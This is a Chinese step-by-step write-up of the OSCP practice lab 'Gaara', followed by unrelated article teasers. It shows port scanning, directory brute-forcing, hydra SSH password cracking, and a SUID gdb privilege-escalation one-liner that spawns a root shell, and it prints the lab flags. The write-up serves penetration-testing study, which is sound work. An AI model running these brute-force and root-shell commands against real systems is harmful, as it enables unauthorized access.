OSCP系列靶场-Esay-Gaara保姆级

news2025/2/24 6:33:13

OSCP系列靶场-Esay-Gaara

目录

  • OSCP系列靶场-Esay-Gaara
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH弱口令爆破(待定)
        • 22-SSH手动登录尝试(无)
      • 80-HTTP端口的信息收集
        • 信息收集-源码查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
          • 信息收集-目录扫描(深度/大字典)
        • 信息收集-目录访问
          • 信息收集-源码查看
          • 端点分析
          • 解密尝试
    • 漏洞利用-getwebshell
      • SSH登录尝试(失败)
        • 暴力破解-SSH密码爆破hydra
    • 内网遨游-getshell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 列举出所有的sudo文件
        • 列举出所有suid文件
      • 权限提升
        • suid-gdb提权
      • FLAG2获取
    • 反思

总结

getwebshell → 通过大字典爆破得到端点 → 利用工具对比得到加密信息 → 寻求百度帮助确认加密方式 → 解密得到用户名 → ssh爆破密码登录

提 权 思 路 → suid-gdb提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.227.142

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.227.142

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


通过两次收集到的端口:→22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.227.142

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
|   256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
|_  256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.18 (87%), Linux 4.15 - 5.8 (87%), Linux 5.0 - 5.4 (87%), Linux 2.6.32 (87%), Linux 2.6.32 or 3.10 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%), Linux 3.4 (87%), Linux 3.7 (87%), Linux 4.4 (87%)

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian

# 进入msf
msfconsole
# 搜索对应脚本
msf6 → searchsploit openssh 7.9p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

ssh root @ 192.168.227.142 -v
# 如果显示publickey、password就是支持密钥以及密码登录

22-SSH弱口令爆破(待定)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22

静静爆破,等待结果

22-SSH手动登录尝试(无)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root<span>@192.168.227.142</span> -p 22
# 密码尝试
password → root

80-HTTP端口的信息收集

访问 http://192.168.227.142:80 是一张我爱罗的图片,应该是一个个人站点,从源码查看开始

信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.227.142:80

    Gaara
        <img src="gaara.jpg" alt="wallpaper" width="100%" height="100%">
       

没什么利用信息

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.227.142:80 -x 302,403

200 -  137B  - /index.html


发现没有扫描出内容,决定换一个扫描工具上大字典,不清楚脚本语言,先不加

信息收集-目录扫描(深度/大字典)
gobuster dir -u http://192.168.227.142:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 -k

通过大字典扫描出了一个端点/Cryoserver

信息收集-目录访问

/Cryoserver端点访问
访问 http://192.168.227.142:80/Cryoserver 发现是空白,进行信息收集尝试,若无思路可能要爆破后缀的字典

信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.227.142:80/Cryoserver

通过查看源码,发现了好像有3个额外的端点


尝试进行访问,发现是3篇文章,看上去差不多
/Temari


/Kazekage


/iamGaara

端点分析

利用wget下载之后发现还是存在一定的区别的


通过chatgpt的回答下载了文本对比工具meld准备对三个文件进行比较


发现文本中存在奇怪的换行以及多了的字符串f1MgN9mTf9SNbzRygcU

解密尝试

f1MgN9mTf9SNbzRygcU是什么类型的加密呢??
试了半天解不出来,百度一搜,emmmmm base58


百度了一个解密工具进行解密 https://tools.qsnctf.com/tools/Tools/Base58/index.php


得到了gaara:ismyname 推测是ssh登录的关键

漏洞利用-getwebshell

SSH登录尝试(失败)

获取账号密码之后利用SSH进行登录

ssh gaara @192.168.227.142 -p22
password → ismyname

发现利用这个方式登录失败,研究ismyname的英文确定gaara是名字

暴力破解-SSH密码爆破hydra

这时候会想生成一个密码字典跑,但是这个网站给的信息太少了,生成cewl没用,尝试用hydra爆破

# -P指定密码字典
hydra -l gaara -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22

[DATA] attacking ssh://192.168.227.142:22/
[STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
[22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found

[DATA] attacking ssh://192.168.227.142:22/
[STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
[22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found

得到了gaara的密码iloveyou2进行ssh登录

ssh gaara @192.168.227.142  -p22
password → iloveyou2

内网遨游-getshell

FLAG1获取

gaara @Gaara :~$ find / -name local.txt 2→/dev/null
/home/gaara/local.txt
gaara @Gaara :~$ cat /home/gaara/local.txt
c7dde1de7308136cdf71fd56da509c56

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
lsb_release -a

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

uname -a

内核版本为4.19

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

发现需要密码,使用gaara的密码失败

列举出所有suid文件

如果发现sudo -l有东西的话

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

访问 https://gtfobins.github.io 寻找


发现存在gdb

权限提升

suid-gdb提权
sudo install -m =xs $(which gdb) .
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit


使用搜集到的提权命令进行提权

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

提权成功

FLAG2获取

# cat /root/proof.txt
ec1e6ac3f00776edb8fac5807c14548b

完结撒花~

反思

从最开始访问80就在提示用户是gaara


再到后面发现的目录文件名iamgaara也在提示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1027889.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 应用上线注意事项

将 Android 应用上线到 Google Play 商店需要仔细注意一系列问题&#xff0c;以确保应用的质量、安全性和用户体验。以下是一些在 Android 应用上线过程中需要注意的关键问题&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&…

DBAPI安装教程

安装教程 请先下载安装包。默认账户admin/admin。 为了便于您理解安装的时候需要配置的参数&#xff0c;请您先学习日志监控相关的功能设计 本地部署单机版 依赖java环境&#xff0c;先自行在服务器安装jdk8&#xff0c;并配置环境变量下载安装包解压到需要安装的目录修改conf…

vue/react/node项目通过eslint检查语法规范

首先 我们打开终端 全局安装依赖 npm install -g eslint然后 以管理员身份运行项目终端 输入 eslint --init然后 这里 在初始化时会问我们想如何使用它? 分别对应 仅检查语法 检查语法并发现问题 检查语法、发现问题并强制执行代码样式 这里建议第二种 第三种肯定是不行的 …

el-date-picker改日期显示方式

效果&#xff1a; 代码&#xff1a; <template><div><el-date-picker v-model"selectedDate" type"date" input"handleDateChange"><template #default"{ date }"><span>{{ formatDate(date) }}</s…

PoE交换机出现不稳定的原因有哪些?

带有供电设备的PoE交换机给使用者带来了方便&#xff0c;因此被广泛应用。然而&#xff0c;很多使用商反映他们所使用的PoE交换机不稳定。那么&#xff0c;PoE交换机出现不稳定的原因有哪些&#xff1f; 首先需要考虑的是数据传输的距离。尽管PoE供电交换机具有方便灵活的特点&…

详解yolov1理论 代码

目标检测要解决的3大问题&#xff1a; 1、有没有&#xff1f; 图片中是否有要检测的物体&#xff1f;&#xff08;检测物体&#xff0c;判定前景背景&#xff09; 2、是什么&#xff1f; 这些物体分别是什么&#xff1f;&#xff08;检测到的物体是什么&#xff09; 3、在…

腾讯云16核服务器配置大全_CVM和轻量服务器汇总

腾讯云16核CPU服务器有哪些配置可以选择&#xff1f;可以选择标准型S6、标准型SA3、计算型C6或标准型S5等&#xff0c;目前标准型S5云服务器有优惠活动&#xff0c;性价比高&#xff0c;计算型C6云服务器16核性能更高&#xff0c;轻量16核32G28M带宽优惠价3468元15个月&#xf…

go语言 最小堆 最大堆 堆排序

建堆 调整 删除 先根据数组构建完全二叉树 从第一个非叶结点开始 调整为大跟堆&#xff0c;这里就是图里面的1结点开始调整 代码如下&#xff1a; func findKthLargest(nums []int, k int) int {heapSize : len(nums)buildMaxHeap(nums,heapSize)for i : len(nums) - 1; i &…

无涯教程-JavaScript - BINOM.DIST函数

描述 BINOM.DIST函数返回单个项二项式分布概率。 在具有固定数量的测试或试验的问题中使用BINOM.DIST。 当任何试验的输出只是成功或失败时 试验是独立的,并且 在整个实验中成功的概率不变的情况 语法 BINOM.DIST (number_s,trials,probability_s,cumulative)争论 Argu…

选择护眼台灯的标准?专家推荐台灯好物分享

自从护眼台灯成为学生书桌上最常见的照明灯具后&#xff0c;就经常能看到关于护眼台灯伤眼的信息。从根源上说&#xff0c;是各种不专业产品混杂在市场中&#xff0c;这种产品技术较差&#xff0c;而且为减少成本选择品质差的材料&#xff0c;但由于低廉的价格仍然吸引了众多消…

【FAQ】以服务方式启动安防监控系统EasyNVR程序,出现播放异常的原因排查与解决

EasyNVR安防视频监控平台的特点是基于RTSP/Onvif协议&#xff0c;将前端设备统一接入&#xff0c;在平台进行转码、直播、处理及分发&#xff0c;在智慧安防视频监控场景中&#xff0c;EasyNVR可实现实时监控、云端录像、检索与回放、云存储、告警、级联等视频能力&#xff0c;…

Redis缓存设计与性能优化最佳实践

开发规范与性能优化 一、键值设计 1. key名设计 (1)【建议】: 可读性和可管理性 以业务名(或数据库名)为前缀(防止key冲突)&#xff0c;用冒号分隔&#xff0c;比如业务名:表名:id (2)【建议】&#xff1a;简洁性 保证语义的前提下&#xff0c;控制key的长度&#xff0c;…

备考新境界:考研竞争中的超级助推器,让AIGC点亮你的学术之路!

近年来&#xff0c;各院校毕业生逐年增长、就业压力提升&#xff0c;研究生学历在就业市场上占有明显优势。加上留学、考公、二战等多赛道的涌入&#xff0c;硕士研究生报名人数呈现快速上升趋势。根据调查显示&#xff0c;2023年考研报考人数达457万人&#xff0c;报录比甚至达…

面向组织分析的内容

声明 本文是学习GB-T 42859-2023 航天产品质量问题三个面向分析方法实施要求. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本文件规定了航天产品质量问题三个面向分析方法实施的一般要求、程序和分析内容。 本文件适用于承担航天产品研制…

IntelliJ IDEA快速查询maven依赖关系

1.在Maven窗口中点击Dependencies->show Dependencies 2.得到依赖关系图 此时原有快捷键Ctrlf可以查询jar包&#xff0c;如果没有查询菜单出来则设置快捷键方式为 File->Settings->Keymap->搜索栏输入find->在Main Menu下Edit下Find下Find双击算则Add keyboard…

月木学途开发 2.前台用户模块

概述 效果展 数据库设计 会员表 DROP TABLE IF EXISTS user_type; CREATE TABLE user_type (userTypeId int(11) NOT NULL AUTO_INCREMENT,userTypeName varchar(255) DEFAULT NULL,userTypeDesc varchar(255) DEFAULT NULL,PRIMARY KEY (userTypeId) ) ENGINEInnoDB AUTO_I…

VLAN的配置实例

基于端口的vlan划分 以下配置为例&#xff1a; 注意选择copper线&#xff0c;可以任意选择端口 PC配置如下&#xff1a; LSW1配置如下 [LSW1]vlan 10 [LSW1-vlan10]qu [LSW1]interface g0/0/9 [LSW1-Gigabitethernet0/0/9] port link-type acces [LSW1-Gigabitethernet0/0/9]…

Python 公里与海里换算

""" 公里与海里换算知识点&#xff1a;1、换算公式&#xff1a;海里 公里 / 1.8522、input()、print()函数3、变量类型转换&#xff0c;整形int与字符串str转换&#xff0c;可以用type()函数验证4、字符串拼接&#xff0c;例如&#xff1a;123 456 1234565、…

盘点数字人源头厂商哪家公司OEM定制能力好!

在当今的科技盛世&#xff0c;我们与数字人的互动越来越频繁。无论是在工作中的智能助手&#xff0c;还是数字人播&#xff0c;数字员工&#xff0c;还是在生活中的个性化推荐&#xff0c;数字人都在为我们的生活增添色彩。然而&#xff0c;大家可能并未意识到&#xff0c;这些…

JavaWeb后端开发 JWT令牌解析 登录校验 通用模板/SpringBoot整合

目录 实现思路 相关技术的解析 ​编辑会话跟踪三个方案 JWT令牌技术 ​生成令牌 校验令牌 登录下发令牌 实现思路 通过登录成功的标记来检测,在每个接口前做一个标记判断是否登录,若没登录则返回错误信息,并使前端退出.但这样较为繁琐,因此我们可以通过一种统一拦截的技…